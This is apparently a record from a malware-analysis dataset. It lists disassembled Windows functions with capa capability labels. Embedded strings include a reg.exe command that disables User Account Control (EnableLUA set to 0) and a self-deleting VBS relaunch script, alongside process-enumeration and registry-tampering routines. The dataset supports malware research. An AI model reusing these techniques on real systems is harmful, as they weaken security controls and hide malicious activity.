joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c3b8
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.004112b5
mov esi, 0x472248
mov ecx, esi
call fcn.0040245c
push eax
mov ecx, esi
call fcn.00401f8b
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.exepath
mov ecx, 0x472200
call fcn.00401f8b
mov edx, eax
call fcn.004120e8
add esp, 0x14
xor edi, edi
test al, al
jne 0x40c418
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.00419959
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00419bca
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00402ff4
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea eax, [ebp - 0x78]
push eax
push 0x4632a8
push 0x463bd0
call fcn.00439e5f
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040415e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00402ff4
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.004042fd
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401ee9
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea ecx, [ebp - 0x18]
call fcn.00401f66
push 0x463c74
push str._____0
lea ecx, [ebp - 0xc0]
call fcn.0040415e
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.0040415e
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00402ff4
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00402ff4
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040323d
lea ecx, [ebp - 0x48]
call fcn.00401ee9
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea ecx, [ebp - 0x90]
call fcn.00401ee9
lea ecx, [ebp - 0xa8]
call fcn.00401ee9
lea ecx, [ebp - 0xc0]
call fcn.00401ee9
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.0040808e
push edi
lea ecx, [ebp - 0x60]
call fcn.00401ee4
push eax
lea ecx, [ebp - 0x18]
call fcn.0040245c
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401ee4
mov edx, esi
mov ecx, eax
call fcn.0041a17b
pop ecx
pop ecx
test al, al
je 0x40c583
push edi
mov eax, 0x469654
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00401ee4
push eax
push 0x4630ac
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40c583
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401ee9
lea ecx, [ebp - 0x60]
call fcn.00401ee9
lea ecx, [ebp - 0x78]
call fcn.00401ee9
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40e2e7
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x388
push ebp
push esi
push edi
mov edi, ecx
call fcn.004020bf
call fcn.00419f23
push 0
push 2
mov byte [0x471aa8], al
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40e4f5
lea eax, [esp + 0x160]
mov dword [esp + 0x160], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x40e4ee
mov ebp, 0x464158
lea eax, [esp + 0x184]
push eax
lea ecx, [esp + 0x14]
call fcn.0040415e
mov ecx, dword [esp + 0x168]
push 0x464154
call fcn.00419f51
movzx edx, al
lea ecx, [esp + 0x14c]
call fcn.00419b16
mov edx, dword [esp + 0x16c]
lea ecx, [esp + 0x134]
push eax
push ebp
call fcn.00419b16
mov edx, dword [esp + 0x174]
lea ecx, [esp + 0x124]
push eax
push ebp
call fcn.00419f87
mov edx, eax
lea ecx, [esp + 0x114]
call fcn.00419c8a
push eax
push ebp
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x104]
call fcn.00419c8a
push eax
mov edx, edi
lea ecx, [esp + 0xf0]
call fcn.004081a6
pop ecx
mov edx, eax
lea ecx, [esp + 0xd4]
call fcn.00408209
pop ecx
mov edx, eax
lea ecx, [esp + 0xb8]
call fcn.00402e81
pop ecx
mov edx, eax
lea ecx, [esp + 0x9c]
call fcn.00408209
pop ecx
mov edx, eax
lea ecx, [esp + 0x80]
call fcn.00402e81
pop ecx
mov edx, eax
lea ecx, [esp + 0x64]
call fcn.00408209
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00402e81
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00408209
pop ecx
push eax
mov ecx, edi
call fcn.00401fc2
lea ecx, [esp + 0x28]
call fcn.00401fb8
lea ecx, [esp + 0x40]
call fcn.00401fb8
lea ecx, [esp + 0x58]
call fcn.00401fb8
lea ecx, [esp + 0x70]
call fcn.00401fb8
lea ecx, [esp + 0x88]
call fcn.00401fb8
lea ecx, [esp + 0xa0]
call fcn.00401fb8
lea ecx, [esp + 0xb8]
call fcn.00401fb8
lea ecx, [esp + 0xd0]
call fcn.00401fb8
lea ecx, [esp + 0xe8]
call fcn.00401fb8
lea ecx, [esp + 0x100]
call fcn.00401fb8
lea ecx, [esp + 0x118]
call fcn.00401ee9
lea ecx, [esp + 0x130]
call fcn.00401fb8
lea ecx, [esp + 0x148]
call fcn.00401fb8
lea ecx, [esp + 0x10]
call fcn.00401ee9
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40e34b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0x388
ret
Function at 0x40e501
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push esi
push edi
push 0x44
pop esi
push esi
xor edi, edi
lea eax, [ebp - 0x58]
push edi
push eax
call fcn.00434c30
push 0x10
lea eax, [ebp - 0x10]
mov dword [ebp - 0x58], esi
push edi
push eax
call fcn.00434c30
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push edi
push 0x8000000
push edi
push edi
push edi
push str._k__windir_System32_reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40f30b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x30
push ebx
push ebp
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x38], ebx
je 0x40f442
cmp byte [edi + 0x3d], bl
je 0x40f442
call fcn.00402e7d
mov esi, eax
mov ecx, edi
mov eax, dword [edi]
push esi
call dword [eax + 0xc]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], esi
push eax
call fcn.0040c925
pop ecx
pop ecx
test al, al
je 0x40f361
xor al, al
jmp 0x40f444
push ebx
push 8
lea ecx, [esp + 0x30]
call fcn.004051ec
lea ebp, [edi + 0x40]
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x30]
call fcn.0040249c
mov ecx, eax
call fcn.0040337b
lea ecx, [esp + 0x2c]
mov esi, eax
call fcn.0040245c
add esi, eax
lea ecx, [esp + 0x2c]
push esi
lea eax, [esp + 0x1c]
push eax
call fcn.0040249c
mov ecx, eax
call fcn.0040337b
mov ecx, dword [edi + 0x38]
push eax
push ebp
call fcn.0040ccac
sub eax, ebx
je 0x40f3c9
sub eax, 1
je 0x40f3cc
dec eax
sub eax, 1
jne 0x40f435
inc eax
jmp 0x40f433
mov byte [edi + 0x3d], bl
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x2c]
call fcn.0040249c
mov ecx, eax
call fcn.0040337b
mov esi, dword [esp + 0x1c]
sub esi, eax
je 0x40f411
push dword [edi + 0x4c]
lea eax, [esp + 0x28]
push esi
push 1
push eax
lea ecx, [esp + 0x38]
call fcn.0040249c
mov ecx, eax
call fcn.0040337b
push eax
call fcn.0043acc0
add esp, 0x10
cmp esi, eax
jne 0x40f431
cmp byte [edi + 0x3d], bl
je 0x40f42f
test esi, esi
jne 0x40f370
push ebx
push 8
lea ecx, [esp + 0x30]
call fcn.00402a31
jmp 0x40f370
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [esp + 0x28]
call fcn.00401fb8
mov al, bl
jmp 0x40f444
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4103b4
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x28
push ebx
mov ebx, ecx
push ebp
push esi
push edi
mov esi, dword [ebx]
mov edx, dword [ebx + 0x3c]
movzx ebp, word [esi + 0x14]
add ebp, esi
mov eax, dword [ebp + 0x20]
mov ecx, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x24], eax
call fcn.004101eb
lea edx, [ebp + 0x18]
mov dword [esp + 0x28], eax
mov ecx, ebx
call fcn.004102f8
mov ebx, dword [ebp + 0x3c]
mov edi, eax
and dword [esp + 0x34], 0
xor eax, eax
inc eax
mov dword [esp + 0x2c], edi
add ebp, 0x40
mov dword [esp + 0x30], ebx
cmp ax, word [esi + 6]
mov esi, ecx
mov dword [esp + 0x20], eax
jae 0x4104c6
mov eax, dword [ebp + 8]
mov ecx, eax
mov edx, dword [esi + 0x3c]
mov dword [esp + 0x1c], eax
call fcn.004101eb
mov edx, ebp
mov dword [esp + 0x14], eax
mov ecx, esi
call fcn.004102f8
mov edx, dword [esp + 0x10]
mov ecx, eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x18], ecx
cmp dword [esp + 0x28], eax
je 0x41047d
lea ecx, [edi + edx]
cmp ecx, eax
ja 0x410479
lea edx, [esp + 0x24]
mov ecx, esi
call fcn.00410317
test eax, eax
je 0x4104e3
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
mov ebx, dword [ebp + 0x24]
mov dword [esp + 0x10], edx
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], eax
jmp 0x4104a1
mov ecx, dword [esp + 0x18]
mov eax, dword [ebp + 0x24]
mov edi, 0x2000000
test edi, eax
je 0x410491
test edi, ebx
je 0x410491
or ebx, eax
jmp 0x410499
or ebx, eax
and ebx, 0xfdffffff
mov edi, ecx
sub edi, edx
add edi, dword [esp + 0x1c]
mov eax, dword [esi]
add ebp, 0x28
mov ecx, dword [esp + 0x20]
inc ecx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], edi
movzx eax, word [eax + 6]
mov dword [esp + 0x20], ecx
cmp ecx, eax
jl 0x410410
xor eax, eax
inc eax
lea edx, [esp + 0x24]
mov dword [esp + 0x34], eax
mov ecx, esi
call fcn.00410317
neg eax
sbb eax, eax
neg eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
xor eax, eax
jmp 0x4104db
Function at 0x4112b5
Capabilities:
Terminate process

Disassembly:
push ebx
push 0
push dword [0x46fd2c]
mov byte [0x46fd13], 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xffffffffffffffff
push dword [0x46fd2c]
test eax, eax
setne bl
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov al, bl
pop ebx
ret
Function at 0x411eea
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x411f2d
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
jmp 0x411f2f
xor al, al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x411f34
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x411f8b
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x411f8d
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x411f91
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
xor esi, esi
mov edi, ecx
push esi
push dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x411ff2
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x408]
push eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, edi
test esi, esi
jne 0x411ff4
lea eax, [ebp - 0x408]
push eax
jmp 0x411ff9
mov ecx, edi
push 0x463050
call fcn.00402073
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x412006
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
xor edi, edi
mov esi, ecx
push edi
push 0x46975c
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x412063
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x808]
push eax
push edi
push edi
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x808]
push eax
jmp 0x412068
push 0x469654
mov ecx, esi
call fcn.0040415e
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x412077
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov edi, ecx
push eax
xor ecx, ecx
lea eax, [ebp - 8]
push ecx
push eax
push ecx
push dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 4], ecx
push ebx
mov esi, 0x463050
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4120d7
cmp dword [ebp - 4], eax
jbe 0x4120d7
push dword [ebp - 4]
call fcn.00439adb
push dword [ebp - 4]
mov esi, eax
push 0
push esi
call fcn.00434c30
add esp, 0x10
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
mov ecx, edi
call fcn.0040415e
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4120e8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
lea eax, [ebp - 8]
push esi
push eax
push 0x20019
xor esi, esi
push esi
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x412158
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x412158
push dword [ebp + 0x18]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0x14]
call fcn.004061cd
push dword [ebp + 0x10]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0xc]
call fcn.00406252
mov al, 1
jmp 0x41215a
xor al, al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41215f
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x4121af
push esi
lea ecx, [ebp + 0xc]
call fcn.0040245c
push eax
lea ecx, [ebp + 0xc]
call fcn.00401f8b
push eax
push dword [ebp + 0x24]
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete bl
jmp 0x4121b1
xor bl, bl
lea ecx, [ebp + 0xc]
call fcn.00401fb8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4121c0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x4121fe
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x412200
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x412204
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x412257
push esi
lea ecx, [ebp + 0xc]
call fcn.0040245c
lea ecx, [ebp + 0xc]
lea eax, [eax*2 + 2]
push eax
call fcn.00401ee4
push eax
push dword [ebp + 0x24]
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete bl
jmp 0x412259
xor bl, bl
lea ecx, [ebp + 0xc]
call fcn.00401ee9
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x412268
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x4122aa
push esi
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x4122ac
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x4122b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x4122ee
push esi
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x4122f0
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x4122f4
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x412332
push esi
push 8
lea eax, [ebp + 0xc]
push eax
push 0xb
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x412334
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x412414
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 2
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x412430
xor al, al
jmp 0x412442
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
neg eax
sbb al, al
inc al
mov esp, ebp
pop ebp
ret
Function at 0x412446
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xabb4
call fcn.00454890
push ebx
push esi
push edi
push 0x208
xor esi, esi
lea eax, [ebp - 0x4a0]
push esi
push eax
mov ebx, ecx
call fcn.00434c30
add esp, 0xc
mov dword [ebp - 0x14], 0x104
lea eax, [ebp - 0x50]
mov dword [ebp - 4], esi
mov dword [ebp - 8], 0x3fff
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x4a0]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [ebp - 4]
test eax, eax
je 0x412524
test eax, eax
je 0x412524
lea eax, [ebp - 0x50]
mov dword [ebp - 0x18], 0xff
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x298]
push eax
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x41251e
push 0x463c74
lea ecx, [ebp - 0x34]
call fcn.0040415e
push eax
lea edx, [ebp - 0x298]
lea ecx, [ebp - 0x68]
call fcn.004042dc
pop ecx
push eax
mov ecx, 0x4723c0
call fcn.0040323d
lea ecx, [ebp - 0x68]
call fcn.00401ee9
lea ecx, [ebp - 0x34]
call fcn.00401ee9
inc esi
cmp esi, dword [ebp - 4]
jb 0x4124be
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x412666
xor esi, esi
test eax, eax
je 0x412666
xor eax, eax
mov byte [ebp - 0x5c], 0
lea edi, [ebp - 0x5b]
mov dword [ebp - 0xc], 0x2710
stosd dword es:[edi], eax
mov dword [ebp - 8], 0x3fff
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov word [ebp - 0xabb0], ax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2bb0]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xabb0]
push eax
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x41265c
push 0xa
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 0x1c]
call fcn.0043f34f
add esp, 0xc
lea ecx, [ebp - 0x80]
push 0x463c74
call fcn.0040415e
push eax
lea edx, [ebp - 0xabb0]
lea ecx, [ebp - 0x34]
call fcn.004042dc
pop ecx
push eax
mov ecx, 0x4723d8
call fcn.0040323d
lea ecx, [ebp - 0x34]
call fcn.00401ee9
lea ecx, [ebp - 0x80]
call fcn.00401ee9
push 0x46306c
lea ecx, [ebp - 0x34]
call fcn.00402073
push eax
lea edx, [ebp - 0x5c]
lea ecx, [ebp - 0x80]
call fcn.004052dd
pop ecx
push eax
mov ecx, 0x4723f0
call fcn.00403356
lea ecx, [ebp - 0x80]
call fcn.00401fb8
lea ecx, [ebp - 0x34]
call fcn.00401fb8
push str._regsplt_
lea ecx, [ebp - 0x98]
call fcn.00402073
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x2bb0]
push eax
lea ecx, [ebp - 0x34]
call fcn.00402097
mov edx, eax
lea ecx, [ebp - 0x80]
call fcn.00402e81
pop ecx
push eax
mov ecx, 0x472488
call fcn.00403356
lea ecx, [ebp - 0x80]
call fcn.00401fb8
lea ecx, [ebp - 0x34]
call fcn.00401fb8
lea ecx, [ebp - 0x98]
call fcn.00401fb8
inc esi
cmp esi, dword [ebp - 0x10]
jb 0x412539
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41312a
Capabilities:
Resolve dns

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x1c]
push esi
push edi
push ecx
and dword [ebp], 0
mov dword [esp + 0x14], edx
mov byte [ebx], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x4131a8
cmp word [esi + 8], 2
jne 0x41318a
push 4
pop eax
cmp word [esi + 0xa], ax
jne 0x41318a
mov edi, dword [esi + 0xc]
jmp 0x413184
push dword [eax]
mov edx, dword [esp + 0x1c]
push dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
call fcn.004130c3
mov dword [ebp], eax
test eax, eax
je 0x4131a3
lea ebp, [eax + 0x1c]
add edi, 4
mov eax, dword [edi]
test eax, eax
jne 0x413164
push 0x400
push dword [esi]
push 0x401
push ebx
call fcn.0043c1e3
add esp, 0x10
xor eax, eax
jmp 0x4131c6
push 8
pop eax
jmp 0x4131c6
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 0x2af9
sub eax, ecx
je 0x4131c4
sub eax, 1
je 0x4131d5
sub eax, 1
je 0x4131ce
sub eax, 1
mov eax, ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0x10
mov eax, 0x2afb
jmp 0x4131c6
mov eax, 0x2afa
jmp 0x4131c6

Function at 0x4137dc
Capabilities:
Get common file path

Disassembly:
sub esp, 0x22c
cmp dword [0x473a34], 0
mov dword [esp], str.getaddrinfo
mov dword [esp + 4], 0x413360
mov dword [esp + 8], str.getnameinfo
mov dword [esp + 0xc], 0x413606
mov dword [esp + 0x10], str.freeaddrinfo
mov dword [esp + 0x14], fcn.00413325
jne 0x413933
push 0x104
lea eax, [esp + 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x413929
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x134]
mov ebx, 0x10c
push eax
lea eax, [esp + 0x2c]
push ebx
push eax
call fcn.0043ef0c
push str.ws2_32
lea eax, [esp + 0x38]
push ebx
push eax
call fcn.0043ef66
add esp, 0x18
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov ebp, dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor edi, edi
test esi, esi
je 0x41389c
push str.getaddrinfo
push esi
call ebx
test eax, eax
jne 0x413898
push esi
call ebp
mov esi, edi
test esi, esi
jne 0x4138ed
lea eax, [esp + 0x134]
mov esi, 0x10c
push eax
lea eax, [esp + 0x2c]
push esi
push eax
call fcn.0043ef0c
push str.wship6
lea eax, [esp + 0x38]
push esi
push eax
call fcn.0043ef66
add esp, 0x18
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x413925
push str.getaddrinfo
push esi
call ebx
test eax, eax
jne 0x4138e9
push esi
call ebp
mov esi, edi
test esi, esi
je 0x413925
mov ebx, edi
push dword [esp + ebx*8 + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + ebx*8 + 0x14], eax
test eax, eax
je 0x41390a
inc ebx
cmp ebx, 3
jl 0x4138ef
jmp 0x41390f
push esi
call ebp
mov esi, edi
test esi, esi
je 0x413925
mov eax, dword [esp + edi + 0x14]
mov dword [edi + 0x46e9ec], eax
add edi, 8
cmp edi, 0x18
jl 0x413913
pop edi
pop esi
pop ebp
pop ebx
mov dword [0x473a34], 1
mov eax, dword [0x46e9ec]
add esp, 0x22c
ret